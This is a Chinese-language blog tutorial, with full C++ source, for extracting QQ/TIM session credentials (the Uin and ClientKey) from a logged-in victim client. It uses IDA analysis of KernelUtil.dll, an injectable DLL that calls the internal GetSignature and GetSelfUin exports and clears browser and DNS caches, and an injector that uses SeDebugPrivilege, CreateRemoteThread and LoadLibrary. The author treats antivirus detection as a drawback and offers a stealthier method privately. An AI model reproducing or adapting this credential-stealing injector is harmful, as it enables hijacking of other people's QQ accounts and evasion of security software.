通过 KernelUtil.dll 劫持 QQ / TIM 客户端 QQClientkey / QQKey 详细教程（附源码）
前言
由于 QQ 9.7.20 版本后已经不能通过模拟网页快捷登录来截取 QQClientkey / QQKey，估计是针对访问的程序做了限制，然而经过多方面测试，诸多的地区、环境、机器也针对这种获取方法做了相应的措施，导致模拟网页快捷登录来截取数据被彻底的和谐，为了解决这个问题我们只能更改思路对 KernelUtil.dll 下手。
Step 1 （第一步）
KernelUtil.dll QQ 9.7.21 (29280) 即官网最新版本
此文件位于 *:\Program Files (x86)\Tencent\QQ\Bin\ 下
并于客户端成功登录后加载。
Step 2 （第二步）
IDA 附加
定位到 KernelUtil.dll 中的函数
“?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z”
CTXStringW *__cdecl Util::Misc::GetSignature(CTXStringW *a1, int a2)
{
int v2; // eax
int v4; // [esp-14h] [ebp-14h]
int v5; // [esp-10h] [ebp-10h]
int v6; // [esp-Ch] [ebp-Ch]
int v7; // [esp-8h] [ebp-8h]
CTXStringW::CTXStringW(a1);
v5 = 0;
sub_55404A73(&v5);
if ( v5 )
{
v6 = 0;
if ( (*(int (__stdcall **)(int, int, int *))(*(_DWORD *)v5 + 60))(v5, a2, &v6) >= 0 )
{
v7 = 0;
sub_5536126A(&v7, v6);
v2 = Util::Encode::Encode16(&v4, &v7);
CTXStringW::operator=(a1, v2);
CTXStringW::~CTXStringW((CTXStringW *)&v4);
if ( v7 )
(*(void (__stdcall **)(int))(*(_DWORD *)v7 + 8))(v7);
}
sub_5540C87C(&v6);
}
sub_5540C87C(&v5);
return a1;
}
参数 1 为 缓存区 返回结果指针。
参数 2 为 传入参数的指针。
.text:55416CFC ; class CTXStringW __cdecl Util::Misc::Get32ByteValueAddedSign(void)
.text:55416CFC public ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ
.text:55416CFC ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ proc near
.text:55416CFC ; CODE XREF: Util::URL::AdjustUrl(CTXStringW const &,Util::URL::URLMODIFYLEVEL,CTXStringW const &,wchar_t const *)+A8↓p
.text:55416CFC ; Util::URL::GetKeyFmt(CFmtString &)+21↓p ...
.text:55416CFC push ebp
.text:55416CFD mov ebp, esp
.text:55416CFF push offset aBuf32bytevalue ; "buf32ByteValueAddedSignature"
.text:55416D04 push dword ptr [ebp+8]
.text:55416D07 call ?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z ; Util::Misc::GetSignature(char const *)
.text:55416D0C mov eax, [ebp+8]
.text:55416D0F pop ecx
.text:55416D10 pop ecx
.text:55416D11 pop ebp
.text:55416D12 retn
.text:55416D12 ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ endp
CTXStringW *__cdecl Util::Misc::Get32ByteValueAddedSign(CTXStringW *a1)
{
Util::Misc::GetSignature(a1, (int)"buf32ByteValueAddedSignature");
return a1;
}
Get32ByteValueAddedSign 获取当前登录客户端 Clientkey。
int __fastcall Util::Contact::GetSelfUin(int a1)
{
int result; // eax
int v2; // esi
int v3; // [esp-8h] [ebp-8h]
v3 = a1;
result = dword_554F12AC;
if ( !dword_554F12AC )
{
v3 &= dword_554F12AC;
sub_55404A73(&v3);
if ( v3 )
(*(void (__stdcall **)(int, int *))(*(_DWORD *)v3 + 48))(v3, &dword_554F12AC);
v2 = dword_554F12AC;
sub_5540C87C(&v3);
result = v2;
}
return result;
}
GetSelfUin 获取当前登录客户端 Uin。
.text:55405EA9 public ?GetSelfUin@Contact@Util@@YAKXZ
.text:55405EA9 ?GetSelfUin@Contact@Util@@YAKXZ proc near
.text:55405EA9 ; CODE XREF: .text:5535A2FE↑p
.text:55405EA9 ; .text:5535A921↑p ...
.text:55405EA9 push ebp
.text:55405EAA mov ebp, esp
.text:55405EAC push ecx
.text:55405EAD mov eax, dword_554F12AC
.text:55405EB2 test eax, eax
.text:55405EB4 jnz short loc_55405EE7
.text:55405EB6 and [ebp-4], eax
.text:55405EB9 lea eax, [ebp-4]
.text:55405EBC push eax
.text:55405EBD call sub_55404A73
.text:55405EC2 mov eax, [ebp-4]
.text:55405EC5 pop ecx
.text:55405EC6 test eax, eax
.text:55405EC8 jz short loc_55405ED5
.text:55405ECA mov ecx, [eax]
.text:55405ECC push offset dword_554F12AC
.text:55405ED1 push eax
.text:55405ED2 call dword ptr [ecx+30h]
.text:55405ED5
.text:55405ED5 loc_55405ED5: ; CODE XREF: Util::Contact::GetSelfUin(void)+1F↑j
.text:55405ED5 push esi
.text:55405ED6 mov esi, dword_554F12AC
.text:55405EDC lea ecx, [ebp-4]
.text:55405EDF call sub_5540C87C
.text:55405EE4 mov eax, esi
.text:55405EE6 pop esi
.text:55405EE7
.text:55405EE7 loc_55405EE7: ; CODE XREF: Util::Contact::GetSelfUin(void)+B↑j
.text:55405EE7 mov esp, ebp
.text:55405EE9 pop ebp
.text:55405EEA retn
.text:55405EEA ?GetSelfUin@Contact@Util@@YAKXZ endp
Step 3 （第三步）
我们了解过程后便可以通过加载 GetModuleHandle("KernelUtil.dll") 调用相应函数自动截取。
ULONG fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");
if (fnGetSelfUin == NULL)
{
OutputDebugStringA("Get GetSelfUin Function failed \n");
return FALSE;
}
// 获取 UIN
ULONG currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();
if (currentQQ == NULL)
{
OutputDebugStringA("Invoke GetSelfUin Function failed \n");
return FALSE;
}
PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");
if (GetSignature == NULL)
{
OutputDebugStringA("Get GetSignature Function failed \n");
return FALSE;
}
// 获取 Clientkey
PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");
if (res == NULL)
{
OutputDebugStringA("Invoke GetSignature Function failed \n");
return FALSE;
}
实现代码
DLL
点击查看代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
using namespace std;
char szUin[MAX_PATH] = { 0 };
char szClientkey[MAX_PATH] = { 0 };
BOOL DelTempFiles();
BOOL GetQQClientKeys();
static DWORD WINAPI MainProcess(LPVOID pParam);
// 清理缓存
BOOL DelTempFiles()
{
// 清理 DNS 缓存
ShellExecute(NULL, "open", "ipconfig.exe", "/flushdns", NULL, SW_HIDE);
BOOL bResult = FALSE;
BOOL bDone = FALSE;
LPINTERNET_CACHE_ENTRY_INFO lpCacheEntry = NULL;
DWORD dwTrySize, dwEntrySize = 4096; // start buffer size
HANDLE hCacheDir = NULL;
DWORD dwError = ERROR_INSUFFICIENT_BUFFER;
do
{
switch (dwError)
{
// need a bigger buffer
case ERROR_INSUFFICIENT_BUFFER:
delete[] lpCacheEntry;
lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO) new char[dwEntrySize];
lpCacheEntry->dwStructSize = dwEntrySize;
dwTrySize = dwEntrySize;
BOOL bSuccess;
if (hCacheDir == NULL)
bSuccess = (hCacheDir
= FindFirstUrlCacheEntry(NULL, lpCacheEntry,
&dwTrySize)) != NULL;
else
bSuccess = FindNextUrlCacheEntry(hCacheDir, lpCacheEntry, &dwTrySize);
if (bSuccess)
dwError = ERROR_SUCCESS;
else
{
dwError = GetLastError();
dwEntrySize = dwTrySize; // use new size returned
}
break;
// we are done
case ERROR_NO_MORE_ITEMS:
bDone = TRUE;
bResult = TRUE;
break;
// we have got an entry
case ERROR_SUCCESS:
// don't delete cookie entry
if (!(lpCacheEntry->CacheEntryType & COOKIE_CACHE_ENTRY))
DeleteUrlCacheEntry(lpCacheEntry->lpszSourceUrlName);
// get ready for next entry
dwTrySize = dwEntrySize;
if (FindNextUrlCacheEntry(hCacheDir, lpCacheEntry, &dwTrySize))
dwError = ERROR_SUCCESS;
else
{
dwError = GetLastError();
dwEntrySize = dwTrySize; // use new size returned
}
break;
// unknown error
default:
bDone = TRUE;
break;
}
if (bDone)
{
delete[]lpCacheEntry;
if (hCacheDir)
FindCloseUrlCache(hCacheDir);
}
} while (!bDone);
return TRUE;
}
BOOL GetQQClientKeys()
{
// 清理缓存与DNS
DelTempFiles();
ZeroMemory(szUin, MAX_PATH);
ZeroMemory(szClientkey, MAX_PATH);
HMODULE hKernelUtil = GetModuleHandle("KernelUtil.dll");
if (hKernelUtil == NULL)
{
OutputDebugStringA("Get KernelUtil Module failed \n");
return FALSE;
}
ULONG fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");
if (fnGetSelfUin == NULL)
{
OutputDebugStringA("Get GetSelfUin Function failed \n");
return FALSE;
}
ULONG currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();
if (currentQQ == NULL)
{
OutputDebugStringA("Invoke GetSelfUin Function failed \n");
return FALSE;
}
sprintf(szUin, "%u", currentQQ);
PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");
if (GetSignature == NULL)
{
OutputDebugStringA("Get GetSignature Function failed \n");
return FALSE;
}
PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");
if (res == NULL)
{
OutputDebugStringA("Invoke GetSignature Function failed \n");
return FALSE;
}
sprintf(szClientkey, "%ws", ClientKey);
return TRUE;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
HANDLE hThread1;
hThread1 = CreateThread(NULL, 0, MainProcess, NULL, 0, NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// 主线程模块
static DWORD WINAPI MainProcess(LPVOID pParam)
{
if (GetQQClientKeys())
{
MessageBox(NULL, "获取数据成功。", "注意", NULL);
}
return 0;
}
主程序
点击查看代码
// Main.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
BOOL AdjustPrivileges();
BOOL injectDLL(TCHAR* DLLName, DWORD ProcessID);
// 唯一的应用程序对象
CWinApp theApp;
using namespace std;
BOOL AdjustPrivileges()
{
HANDLE hToken = NULL;
TOKEN_PRIVILEGES tp = { 0 };
TOKEN_PRIVILEGES oldtp = { 0 };
DWORD dwSize = sizeof(TOKEN_PRIVILEGES);
LUID luid = { 0 };
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/* Adjust Token Privileges */
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), &oldtp, &dwSize)) {
CloseHandle(hToken);
return FALSE;
}
// close handles
CloseHandle(hToken);
return TRUE;
}
BOOL injectDLL(TCHAR* DLLName, DWORD ProcessID)
{
if (AdjustPrivileges())
{
HANDLE hOprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);
if (hOprocess != NULL)
{
_TCHAR* pLibFileRemote = (_TCHAR*)VirtualAllocEx(hOprocess, NULL, 2 * strlen(DLLName) + 1, MEM_COMMIT, PAGE_READWRITE);
if (pLibFileRemote != NULL)
{
if (!WriteProcessMemory(hOprocess, (void*)pLibFileRemote, DLLName, 2 * strlen(DLLName) + 1, NULL))
return FALSE;
//Get LoadLibraryW Address
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryA");
if (pfnStartAddr != NULL)
{
HANDLE hRemote = CreateRemoteThread(hOprocess, NULL, 0, pfnStartAddr, (PVOID)pLibFileRemote, 0, NULL);
if (hRemote != NULL)
{
CloseHandle(hRemote);
CloseHandle(hOprocess);
return TRUE;
}
}
}
}
CloseHandle(hOprocess);
}
return FALSE;
}
int main()
{
if (!injectDLL(“D:\\QQKey.dll”, 8888))
{
cout << "injectDLL To Target EXE Failed。\r\n" << endl;
}
system("pause");
return 0;
}
效果演示
结语
利用此种方法可以很方便的截取到 Uin 跟 Clientkey。
但是缺点也是相形见绌的，如下图：
：（
要出现这个画面提示就不是很友好了，并且大部分安全软件都会提示并拦截，其中包括 windows 10 / windows 11 下的 Microsoft Defender 也是如此，那么该方法就显得一无是处。
还有另一种方法是通过读取 QQ 客户端数据来截取其中的 Uin 与 Clientkey，并且不会出现任何提示、报警或拦截的情况。但在这里就不详细说明，怕又被和谐，有兴趣的可以私信我。
完整项目下载
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